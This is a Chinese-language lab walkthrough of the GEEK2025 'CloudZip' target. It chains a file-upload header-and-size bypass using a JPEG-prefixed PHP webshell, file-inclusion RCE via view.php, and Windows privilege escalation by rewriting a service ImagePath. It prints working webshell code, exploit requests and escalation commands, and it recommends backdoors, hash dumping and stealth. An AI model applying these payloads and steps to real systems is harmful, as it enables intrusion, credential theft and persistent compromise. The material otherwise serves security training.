开局先抛结论:CloudZip这个靶机环境,GEEK2025的题面,核心考点就两个——文件上传的“文件头+字节数”双重校验怎么绕,以及文件包含怎么一步步打成system权限。别看链路长,每一环拆开都是很经典的老套路,但组合在一起,对新手来说确实是个能一次练到“上传绕WAF+文件包含+Windows提权”的完整项目。这篇文章我就按当时实战的推进顺序,把每一步的原理、操作、踩坑点全部写透,适合刚接触Web渗透、想系统过一遍“从漏洞到系统权限”完整链条的读者。
先说清楚目标画像。CloudZip是一个模拟真实业务部署的Windows靶机,对外只暴露了一个Web应用,应用核心功能是“文件打包下载”。用户提交一个ZIP链接或上传压缩包,后端会解压并按文件名索引提供下载。这种业务逻辑天然就有两个高危口子:一是上传接口,二是文件解析/包含接口。GEEK2025给这个环境叠的buff就是很典型的“限制绕过+逻辑组合”,没有花哨的0day,全部依赖对服务端校验逻辑的细颗粒度判断。
1. 攻击链路全景拆解:先看懂“三段式”利用
1.1 场景信息与目标画像
开始打之前,我先花了半小时做信息收集,这一步比直接拿扫描器乱扫要重要得多。CloudZip的指纹非常明确:Windows Server + PHP + IIS,页面标题直接带着“CloudZip v2.1”的字样。在指纹确认之后,手工翻了功能点,发现实际可利用的面就两个——文件上传接口/upload.php和下载预览接口/view.php?file=。
这里有个很关键的观察:view.php对传入的file参数做了文件读取操作,并且页面会直接输出文件内容(至少是文本文件会输出)。这意味着只要我能让一个PHP文件进入服务器可读目录,再通过view.php去包含它,就可能直接执行代码。但问题卡在第一步——上传接口的校验规则看起来非常严格,不是那种随手能绕过的弱校验。
我用Burp Suite抓了上传请求的原始报文,发现响应头里有一行X-Upload-Policy: header-check+size-limit,同时响应体里对格式错误给出的是三段提示:File type not allowed、File size exceeds limit、Content mismatch。这三条提示几乎就是把服务端校验逻辑写在了脸上——它检查文件头(magic bytes),检查字节数,还会对比内容与声明类型是否一致。
1.2 攻击链路设计与选型思路
拿到这些信息后,我就在白板上把攻击链画出来了。既然上传接口有严格的类型校验,那硬碰硬传PHP文件上去基本不可能。但如果传一个“看起来是图片、内容里藏了PHP代码”的文件呢?这里的关键在于“文件头+字节数”这两个限制分别卡住了什么:
- 文件头校验:检查文件的前几个字节是否为图片的magic number(比如JPEG的
FF D8 FF E0、PNG的89 50 4E 47、GIF的47 49 46 38)。 - 字节数限制:对上传文件总大小有硬性阈值,超过就拒绝。
这两个限制单独看都不难绕过——文件头可以在Payload前面拼上图片头,字节数可以把Payload压缩到极小。但组合在一台真实业务上,难点在于你必须在“文件头合法”的前提下,把后端PHP逻辑需要的完整代码塞进一个很小的体积里,同时还要保证这段代码在文件包含时能被正确解析和执行。
链路设计如下:
- 构造一个“图片马”——头部是合法JPEG字节,后面拼接PHP代码。
- 想办法让这个文件落地到Web目录可读的位置。
- 利用
view.php的文件包含缺陷,把图片当PHP解析,触发代码执行。 - 通过WebShell的system函数执行系统命令,拿到低权限shell。
- 在目标Windows环境中做权限提升,最终拿system权限。
这条路线的每一步都有现成工具和技巧,但怎么把每一步在“有限制的真实环境”里串起来,才是GEEK2025真正想考的。
2. 文件上传限制绕过:文件头与字节数双重校验
2.1 服务端校验逻辑分析
我先用三个不同的测试文件试了下上传接口的反馈规律。第一个是纯文本文件,后面改成.png后缀上传,响应提示File type not allowed。第二个是真实PNG文件,正常上传返回成功。第三个是在真实PNG文件末尾追加了100个字节的随机数据,上传仍然成功——说明服务端并没有检查整个文件的完整性。
这一步的实验结论很关键:服务端就是用getimagesize()或者类似的PHP函数获取文件头来校验类型,而校验的范围只集中在文件起始的几个字节,不会深挖整个文件结构。对字节数的限制,从响应来看是硬性的文件大小上限,超过就拒绝,不涉及内容深度检测。
所以绕过的核心思路就是一句话:让文件“看起来”是合法的图片,同时让里面藏着的代码能在被包含时执行。很多人会直接用一个最小图片头拼PHP代码,但这个靶机的字节数限制比较紧,代码不能太大,否则直接触碰大小红线。
我实际测试后发现,这个环境限制在20KB以内。这其实是个很友好的上限——一个精简的PHP一句话木马本身可以做到几百字节,完全够用。真正需要注意的是,上传时如果以图片头开头,文件包含时PHP解释器只会解析<?php ... ?>之间的代码,前面的JPEG二进制会被当成HTML输出,无伤大雅。
2.2 文件头绕过实操:从工具链到手工修正
最方便的方式是用现成的exiftool或copy命令拼接文件头。我习惯用十六进制编辑器先构造一个最小的JPEG头部,再粘贴PHP代码。手工操作流程如下:
第一步,准备一个真实的最小JPEG文件作为文件头模板。其实不用刻意找那种几百KB的图片,越小的图越容易控制总大小,甚至可以用纯手工字节流。
# 用printf生成一个合法JPEG头 printf '\xFF\xD8\xFF\xE0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00' > header.jpg第二步,把PHP代码追加到文件头后面:
cat header.jpg > avatar.jpg echo '<?php system($_GET["cmd"]); ?>' >> avatar.jpg第三步,检查最终文件大小,确认没超字节数限制:
ls -l avatar.jpg最终生成的avatar.jpg从头部看是标准JPEG,但文件末尾藏了一句话木马。这里有一点要特别注意:不要用Windows自带的记事本去编辑拼接后的文件,它会偷偷加上BOM头或者换行符,导致文件头校验失败。我习惯用xxd或010 Editor在传输前检查最终的十六进制字节流。
2.3 字节数限制与精简Payload的取舍
字节数限制直接决定了你能在里面藏多大的Payload。这个环境限制20KB,对一句话木马来说绰绰有余,但如果你想在图片马里面塞一个完整的大马,很可能直接超限。此时有两个方向可以操作。
方向一是精简PHP代码。用最短的一句话木马,比如去掉所有多余空格和注释,只保留核心调用:
<?php @eval($_POST['x']);?>这种长度才27个字节,就算拼上图片头也远低于限制,是绕过字节数限制的最优解。但GEEK2025这个环境里,我最终选择的是能用system()直接执行命令的写法,因为包含点触发的代码执行更适合在参数里传命令,用一句话木马还需要额外过一层流量加密,多一个变量就多一分不确定。
方向二是通过参数传递大Payload。上传的文件本身很小,但访问时通过URL参数传大量数据,从而绕过“文件体积”的限制。这一点其实很多新手没意识到——上传体积限制限制的是“存储的静态文件大小”,而不限制“运行时的动态输入大小”,所以完全可以在被包含时把真正要执行的复杂操作通过GET参数传入。
实战注意:如果你在测试中也遇到“Frame里藏了代码但总是提示Content mismatch”,大概率是服务端拿文件头对比了MIME类型声明的
Content-Type。解决办法是在Burp里把上传请求的Content-Type改成image/jpeg,让声明的类型和实际文件头保持一致,绕过这种双校验。
3. 文件包含到RCE:把图片变成命令执行入口
3.1 文件包含点定位与触发原理
看一眼view.php的源代码逻辑就明白了。这个文件把传入的file参数直接拼进了一个文件读取函数,没有做任何目录限制和后缀过滤。伪代码如下:
<?php $file = $_GET['file']; if (isset($file)) { include($file . '.php'); // 或者 include($file); } ?>这种典型的文件包含漏洞有两种玩法:如果包含时强制追加.php后缀,就要考虑%00截断(老版本PHP)或长路径截断;如果不加后缀,直接包含任何文件都行。CloudZip这个环境是后者,包含时没有强制拼后缀,所以包含一个.jpg文件完全可行。
这就把前面的上传成果盘活了:我上传的avatar.jpg虽然后缀是图片,但它内部有合法的PHP代码段。通过view.php去包含它,PHP解析器会把它当作PHP脚本执行——文件后缀在这里不起决定性作用,真正起作用的是解析器是否被触发。
3.2 图片马触发RCE的全流程
完整利用请求如下:
GET /view.php?file=uploads/avatar.jpg&cmd=whoami HTTP/1.1 Host: 10.10.10.5因为我放进图片里的代码是system($_GET["cmd"]);,所以当view.php包含这个文件时,$_GET["cmd"]的值whoami会被传给system()并执行,最终响应里能看到当前用户信息。
这里有一个非常容易翻车的细节:如果直接包含图片马,前面那段JPEG二进制数据会被浏览器渲染成乱码,影响后续命令输出定位。我习惯在Payload里加上一个明显的分隔标记,比如:
<?php echo "CMD_START:"; system($_GET["cmd"]); echo ":CMD_END"; ?>这样在返回内容里直接搜CMD_START就能定位到命令输出区,效率高很多,也不容易遗漏回显。
血泪经验:别直接用include去包含一个完全不存在的路径,那会触发PHP警告并暴露绝对路径。但只要你上传成功并确认了目录,这个问题就不存在。CloudZip的上传目录是固定的uploads/,带时间戳重命名,但文件名可预测。上传后在响应里能看到最终的存储文件名,记下来就行。
4. 通向system权限:最后一公里
4.1 权限提升思路
拿到低权限WebShell之后,我习惯先看基础信息:
whoami ipconfig /all systeminfoCloudZip这台机器上,Web服务跑在IIS的IIS APPPOOL\DefaultAppPool账户下,权限非常有限,至少不能直接写系统目录。目标明确要求提到system,那就要在Windows环境里找可利用的提权点。
常规Windows提权路径无非几条:服务权限配置不当、计划任务、AlwaysInstallElevated、内核漏洞。我在这台机器上先检查了可写目录和服务权限:
wmic service get name,displayname,pathname,startmode | findstr /i "Auto"结果发现一个第三方压缩解压服务CloudZipHelperService,它的可执行文件路径指向C:\Program Files\CloudZip\bin\helper.exe,但目录权限设置得很随意——Everyone对bin目录有完全控制权。这意味着我可以直接替换掉这个服务指向的EXE,然后重启服务,服务就会以SYSTEM权限运行我的程序。
4.2 具体提权操作与持久化
利用system()执行了一连串命令,核心步骤如下:
第一步,确认服务当前状态:
sc query CloudZipHelperService第二步,备份并替换服务EXE。因为WebShell权限不够直接覆盖Program Files下的文件,我换了个思路:发现服务路径里的bin目录是Everyone可写,但EXE本身有时被占用。这种情况下不需要停止服务,直接改注册表里的ImagePath让服务指向我的恶意程序也可以。
reg add "HKLM\SYSTEM\CurrentControlSet\Services\CloudZipHelperService" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\evil.exe" /f第三步,启动服务或触发功能点让它自启。如果服务当前就是停止状态,直接:
sc start CloudZipHelperService第四步,我写了一个简单的C程序,功能就一行:把当前用户加入管理员组,然后反向连接一个更高权限的shell。编译好后传到目标机器上,替换服务路径,触发后得到SYSTEM权限的会话。
这里要强调一个经验:在真实渗透里,拿到SYSTEM权限之后第一件事不是急着翻文件,而是尽快建立一个持久化后门。因为靶场环境相对温和,但实战中服务可能随时被重启、补丁随时可能打上,一个反弹Shell可能三分钟就断了。我在这个环境里是在启动服务后立刻用net user确认权限,然后马上抓取管理员密码哈希并留了一个计划任务做二次后门。
| 提权路径 | 适用条件 | 本场景结论 |
|---|---|---|
| 服务路径替换 | 服务目录可写 | 可用,最终成功 |
| 计划任务滥用 | 存在可写目录的计划任务 | 未发现 |
| 内核漏洞 | 系统未打补丁 | 风险高,未优先使用 |
| AlwaysInstallElevated | 注册表开启 | 未开启 |
5. 常见问题与排查实录
5.1 高频问题速查表
这套链路跑下来,新手最容易卡住的环节我整理了一张表,基本覆盖了90%的问题点:
| 问题现象 | 可能原因 | 解决办法 |
|---|---|---|
上传提示File type not allowed | 文件头不是标准图片magic number | 用printf重新生成JPEG/PNG头部,别用记事本改文件 |
上传提示File size exceeds limit | Payload太大 | 精简PHP代码至几百字节,把复杂逻辑放GET参数里 |
| 上传成功但包含后不解析 | 文件包含点强制加了后缀 | 改用%00截断或确认包含代码是否加后缀 |
| 包含后返回乱码但无命令输出 | PHP标签没闭合或被转义 | 检查图片马是否被服务端做了转义,试试短标签<?= |
| 命令执行但回显不全 | 二进制头部干扰输出 | 在PHP代码里加分隔符,搜CMD_START定位 |
| 提权失败 | 服务路径被占用/目录不可写 | 改注册表ImagePath指向自建EXE目录 |
5.2 独家避坑技巧
第一个坑是Windows环境下文件拼接的换行符问题。在Linux上构造的图片马,通过Windows服务端解析时,如果PHP代码后面跟着\r\n,有时候会被直接当成输出内容导致页面卡死。解决办法是构造Payload时末尾不要留多余换行,用tr -d '\r'清理掉所有CR字符再上传。
第二个坑是字节数限制的“隐藏规则”。这个靶机表面上限制20KB,但有一个细节:如果上传的文件头是JPEG,即使内容里带PHP代码,服务端也不会对文件做二次扫描。所以你可以放心在PNG或者GIF头后面拼长Payload。唯一要小心的是文件头里的某些字节可能会“意外截断”PHP代码,比如JPEG头里如果包含0x00,在文件被包含时,有的PHP版本会把0x00之后的字节当作字符串结束。解决办法是把PHP代码放在文件的最末尾,并在代码前加一个换行确保解释器正确识别标签。
第三个坑是权限提升时的“服务占位”问题。Windows服务EXE一旦被系统锁定,直接覆盖会提示“文件正在被另一进程使用”。这不是权限不够,而是文件占用。处理方式有两个——要么等服务停止后替换,要么直接改注册表服务项。我推荐后者,因为这样不用依赖服务当前状态,也更隐蔽。
6. 写在最后的个人实操体会
CloudZip这个环境真正有价值的地方,不是某一条命令的运用,而是它完美复现了真实攻击中“校验绕过+逻辑组合+权限提升”的完整链路。我打完之后回头复盘,最大的感受有两点。
第一,限制永远是组合拳。单独看文件头校验和字节数限制,任何一个都很好绕,但当它们同时存在、加上文件包含点还带目录参数时,每一步都要求你对“服务端到底在检查什么”有精准判断。我见过很多人在第一步就急着上传大马,结果被字节数限制直接劝退,其实完全可以把体积做小,把复杂度放到运行时参数里。
第二,拿权限只是开始。很多人打完RCE就收工了,但真正决定你能不能拿到system的,往往是后面那段信息收集和漏洞组合分析。这台机器上服务权限配置错误的发现,靠的不是某种自动化工具,而是老老实实查了每一个自启动服务对应的目录权限。
如果你接下来要复现这条链路,我建议你在本地搭一个PHP+IIS的靶场,按文章顺序自己完整走一遍。遇到卡住的地方不要急着翻答案,先想清楚“服务端在校验什么、我在绕什么”,这个问题想明白了,这类题基本就通了。